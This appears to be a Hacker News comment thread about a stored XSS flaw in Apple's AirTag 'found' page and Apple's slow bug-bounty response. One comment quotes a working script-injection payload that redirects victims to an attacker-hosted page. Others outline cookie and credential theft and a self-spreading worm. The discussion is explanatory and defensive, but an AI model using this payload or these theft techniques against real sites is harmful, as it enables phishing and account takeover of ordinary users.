Apple AirTag Bug Enables ‘Good Samaritan’ Attack
krebsonsecurity.com
krebsonsecurity.com
After reading OP, I was under the impression this is something silly, like being able to enter “Please visit badsite.xyz” in the message you leave. The above makes clear that it’s a real XSS, the AirTag owner can run scripts on found.apple.com.
<script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script>
Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
Indeed, and with the history.pushState() API, you can even change the URL to be more realistic.
IIRC every process inside the iOS has its own cookie jar and browser container, so application X cannot read iOS Safari's or application Y's cookie jar or any cache in that regard.
So, every application's web view is so-called alone on the OS.
Containers and cookie jars don’t help you if the malicious code is running inside the container your sensitive data lives in.
In this specific example, if the iCloud cookies are marked as JS visible, and there no content security policy preventing inline JS, then the JS injected could grab the iCloud cookie and exfiltrate it to an attacker domain.
Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc?
I can only imagine this to be the case, so did an apple employee go out of their way to disable this feature? Or is this simply a case of the rookie developer using variable substitutions in a SQL string instead of a prepared statement and bindings? (SQL injection analogy)
----
As @rjmunro mentions nextdoor, if this vulnerability exists in this airtag application, might it actually be wide-spread across the entire iOS and mac OS code-base? Perhaps that's why Rauch heard little back from apple?
I suspect this is likely. It's generally accepted that it isn't possible to sanitize arbitrary user input before saving it into the database. There will always be someone called "<script>".
Instead you must format the data correctly when displaying it to the user. That means every place you get data from a database and process or display it, you should be using framework libraries to make sure no injection attacks can happen.
XSS and other injections are not problems with data input, they are problems of data output.
It would probably read like early texts on mathematics before modern notation was invented, where it's all just textual descriptions on how to solve various problems.
In fact, including default client side protections would not have fixed this issue (since this issue involved bypassing client side protection.)
Which is what browsers do.
You can sanitize input fields on the client all you want and an attacker would still send whatever the hell they felt like to the server.
I'm suggesting that surely these widgets and respective browser engines that enable them would be mature enough to not ineluctably evaluate anything that's entered.
This kind of attack essentially tricks Apple into including arbitrary HTML/JavaScript in the webpage that shows information when someone scans the tag. There's no reliable way a browser could even know something untoward was happening.
<input><script.../></input>
Thanks for the clarification.
Client side sanitation of input fields won't save you in this case.
In fact it will never save you.
Here's a "non-technical" example of why it wouldn't help, without even having to go into the details of making manual HTTP requests: Even if you have a browser that tries to sanitize input fields so it doesn't send anything to the server that causes the server to do bad things, an attacker could just use a different browser, or a modified browser, to send whatever the hell they wanted anyways.
Client side input sanitation is not security. It's just for UX.
I understand that client-side validation is only a cosmetic, first-round attempt at sanitation.
My understanding (which is wrong) was that the malicious script was being injected into the html input where it was finally rendered and at the same time invoked. I was suggesting that the contents of an input (the value) should never be rendered (and as a result, activated) as any other contents outside of an input is rendered.
Even if content within an input is never rendered, it makes little difference since the attack is able to inject the script in other places outside of an input anyways.
So as others pointed out, nothing to do with inputs.
It’s on the front page of Hacker News with clickbait headline, so yeah.
So the rule is: Never try to "sanitize" inputs, always sanitize outputs respective to output-context.
Regarding XSS there is this nice overview:
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Ev...
As this is a complicated topic one should never try to escape things "by hand", for example by some "clever" regex. You won't catch this way all the possible encodings!
See my response above.
100% yes. It's called an XSS vulnerability. It was no 1 in the Open Web Application Security Project (OWASP) Top Ten 2017, although now that sites don't make this mistake very often, it's fallen to number 3 in the 2021 list.
> ... wide-spread across the entire iOS and mac OS code-base
It's not in the iOS or mac OS code-base, it's in the Apple website codebase. It could well be widespread there.
How are engineers who introduce XSS issues on production systems "ok" in 2021?
Makes me doubt the rest of your statement too. But mainly because I'm actually a Apple user myself so I know for a fact that neither the software nor the hardware people to be "top".
Github's co-pilot is a poor code generator, but it's a fair example of how bad a lot of public code is. I'm not sure private code tends to be much better in many orgs.
If during the triage they accidentally sent the bug to the team who developed the AirTag’s firmware then they might have got confused and didn’t handle the ticket appropriately.
Obviously this is not an excuse and a big company should know better, but can explain why the handling was sub-optimal. Just look at this very forum and the amount of confusion present in the comments. There are people questioning if a stored XSS is really that bad (yes it is), or asking why browsers don’t validate the inputs by default (wouldn’t help). There is nothing wrong with these questions! The problem and the solution is obvious to someone who worked on web security before, but if this is the first time you are wrapping your mind around the concept you might mess things up. Same way as if a web developer is asked to fix a kernel level buffer overflow, they won’t have the right mental toolset to understand the problem, let alone the ability to fix it.
Can we be precise when writing about security vulnerabilities? It's a stored XSS in the phone number field.
You can include precise technical details whilst still writing an article suitable for a broad audience.
[1] https://twitter.com/ghidraninja/status/1391165711448518658
An XSS can do a lot more than just redirect you. It could construct a fake Apple login page inside the apple.com domain, so you would have no reason to suspect it was a phishing attack. You could probably construct something like the Myspace Samy worm (https://en.wikipedia.org/wiki/Samy_(computer_worm)) to spread through Airtag users and change everyone's AirTags to point to your malicious script.
While you obviously know what you're talking about, you can't honestly think that the majority of people wouldn't know any better? Even if most people knew better than clicking nwidjjjj.biz/lkqpdi15, something like youfoundmyairtag.hr/tag=238s71j would probably still fool enough to make it a viable vector.
Usually you don't even need to do that. As soon as you have script running inside apple.com, you can get the password manager to auto-fill the password, login, steal the login cookie, and do whatever you like, all with nothing visible to the user.
I think you are putting too much faith in the average person noticing the url given how susceptible humans are to phishing attacks.
Re xss: how could you a worm in this case go from one airtag to another?
I guess the posited worm would make use of the fact that if an authenticated Apple.com user can inject a payload via marking an air tag as lost and setting its phone number, if that payload runs on an Apple.com page on the victim’s device, it then gets some new apple.com credentials; if the victim also has any airtags, it can mark them as lost and inject the payload into the phone number field.
Requires the airtag to be scanned by another airtag owner, obviously, and unclear who would scan their airtag. Overall, a good example of how to think about how viral reproduction methods can lead to very different replication rates depending on population characteristics and behavior.
If HN readers are the "you" here, then that's accurate. If you're referring to your average person, then I would argue that the majority don't know this.
Unless it's something very obviously shady, I could see myself fall for something like this.
Some work has been done on UX here, Apple seems to hide the URL and show only the domain name on iOS sometimes, which is interesting, but annoying. Firefox colour codes the domain name part in the URL bar, but it's pretty subtle.
edit: apple has no native support for reading NFC tags. You can only do it within apps. So i guess my idea wouldn't work for now.
The ability to impersonate Apple _on their own domain_ is definitely a bigger risk than rewriting the URL or manufacturing a look-alike tag.
What some HN commenters don't understand here is that XSS is special not because it's particularly nasty (though it can be), but that it can creep in without you knowing. You can be aware of it, but one can still slip in if you're not actively guarding against it while coding. When you have a hundred things on your mind, and a complex model of frontend-backend living in your brain's RAM, it's easy to forget about something like sanitizing the output of user-generated content.
It's easy to say AFTER the fact that you should never trust user input... obviously I don't, but they still happen, and I'm thankful every day that pentesters check us for XSS as part of our bug bounty process.
XSS vulns happen to a lot of developers, Apple devs included. It definitely should've been caught during a code review process, but the silver lining to all of this is that the fix is actually rather simple... update the site to sanitize the input on the way out. No firmware changes needed to the physical devices themselves.
[0] NodeBB.org
Apple can't be seriously using an insecure-by-default templating engine to render HTML.
On one of my older projects I'm using a 12 year old framework that already had XSS filtering by default when inserting values.
It's so easy to get soft wins running a program like this. Communicate with the reporter, make sure you have enough of a mandate inside the company to get things fixed in time, it's a boon to your reputation even if the reporter gets to publicly disclose the weakness.
Now they still have the public disclosure of the weakness, but they get the added reputation hit of seemingly not caring, or not being able to get serious security issues that jeopardize their users fixed. Not a good look for a company supposedly obsessed with users' privacy.
It's all about values. Security and lets say, all submitted bugs fixed within 30 days...that would be a pioneering status for a company. Good luck getting approval for funding and staffing for that though in a company obsessed with those navel-gazing commercials about space travel and such...
When reported I was confronted by AI; unwelcoming replies "you don't understand this is a feature, not a bug". But, regardless, I was sent a bunch of scary emails with threats not to disclose this to anyone. I gave up, I had other stuff going on in my life.
In two years, with fanfares some "security firm" discovered a bug and rolled out the full self-PR campaign with nice pictures describing a bug and how they got 1337 money. At that point I realized that bug bounty is only for professionals who have connections and willing ears to listen to them.
I understand that from standpoint of big companies, they are flooded with requests, but it doesn't makes me feel better. I reported a serious security issue whole two years before they fixed it, but got absolutely nothing for it except threats and gaslighting.
What do you think people should do differently when reporting these issues?
Sorry, I did not mean to imply that and disagree with that statement.
The problems are what they are. Fixing them is not the job of whoever encounters a security vulnerability. Yet if you encounter one, you still have to decide what to do.
I encountered one in an Apple service a couple of years ago. Reported it. Never heard back. Vulnerability was still there 6 months afterwards, but I have better things to do than chase them.
The action I took was simply to stop using Apple's products. But that was probably the wrong decision in hinsight, since the alternatives aren't really better.
The obvious lesson is "don't participate in bug hunting programs".
... sell vulns to bad actors for Monero or something?
Just imagine those Google ads "mocking" iPhone's "security/privacy" after them being found guilty of not giving two f*cks.
Disclosure: saying this as a fully-invested but otherwise pissed Apple user.
This applies to just about every company.
Probably it's a management nightmare to keep all this moving, and clearly parts of Apple are likely poorly managed. I worked there 25 years ago when it was going out of business (before Steve), and it was already a complicated mess.
Does not of course mean they shouldn't make a bug bounty that works. You'd think that someone would care in a company that values privacy. But if you have to deal with 50000 different simultaneous issues some are likely to fall through the cracks.
My last job was at a huge company with even more employees (not tech but built a lot in-house) and you'd be amazed at how much crap is never addressed that seemed obvious to us low level people.
OP never actually said any of that. You're assuming that that's what they think, when they actually might be content with a much lower percentage. Ask questions of people to get clarification, as user htk did, instead of insinuating they're ignorant asses.
So I think it’s a perfectly valid assumption that OP thinks 0% is the right percentage.
> perfectly valid assumption that OP thinks 0% is the right percentage.
Pfffffft. NO! Of course they should be able to make lots of money. 30% is insane, though.
Now you’ve phished the apple credentials off someone thinking they’re helping find you lost keys. Less people would scan a random QR code they found. And even fewer would mistake it for a real apple login and feel compelled to login.
It’s on Apple to convince us that it is safe to scan Airtags. And currently their messaging is that they don’t care?
Then I ain’t scanning no Airtag.
The fact that Apple let such a stupid bug into their web site is worrying enough. The fact that they don't acknowledge and fix it within hours, when reported to them via their bounty program means that it's not just "don't scan Airtags" you should be thinking, it's "don't visit apple.com / icloud.com / other Apple websites"
Those recent articles about large groups of employees pushing the company to take stands on anything but work-related matters makes me wonder if the sane, competent employees have either left or have "mentally checked out."
See: https://www.nytimes.com/2021/09/17/technology/apple-employee...
An airtag is a product by a big company, claiming to be trustworthy. Claiming their products are safe. You are actually told by Apple to scan those airtags, made by them. So you find an Apple airtag, scan it with your Apple iPhone, and an Apple login form is presented to you. Way, way different from that qr code scenario.
Apple makes a gadget that has an explicit mode for good samaritans to locate the original owner. This mode has a security flaw (lack of input validity checks, I thought we overcame this stuff last decade?) that opens up the good samaritan to abuse by means of phishing. And somehow you want to explain to me that that is not a problem? Just because I can take a random car and drive into people doesn't mean a self-driving car having a bug that drives into people isn't an issue, to give an example of why your logic doesn't pass.
The reason this is a serious problem and not equivalent to any other situation where you can get people to click an arbitrary link wasn't immediately obvious to me either. I'm glad the question was asked and answered. I'm not a diehard Apple defender, just someone who's not immersed in this phishing stuff on a daily basis. shrug
As it stands, a malicious user can replace the entire website, still under an apple.com domain, with content of their own devising. This content can, for example, pretend to be an Apple login page, and exfiltrate entered credentials.
I hope it's obvious why this form of attack is more malicious and more dangerous than simply putting up an arbitrary QR code.
Basically, a victim finds an air tag, and as a Good Samaritan, opens the "found" link to attempt to reunite the air tag with its owner. The key is, the victim may trust the Apple Airtag to direct them to a secure, private web page, so may be willing to do something like provide their iCloud credentials when prompted.
It's not an attack that would be deployed indiscriminately -- it costs an attacker $30 for a chance that a desired target will find the Airtag, be a Good Samaritan and interact with the "found" page as hoped. But it could make sense against high value targets.
[1] https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-cred...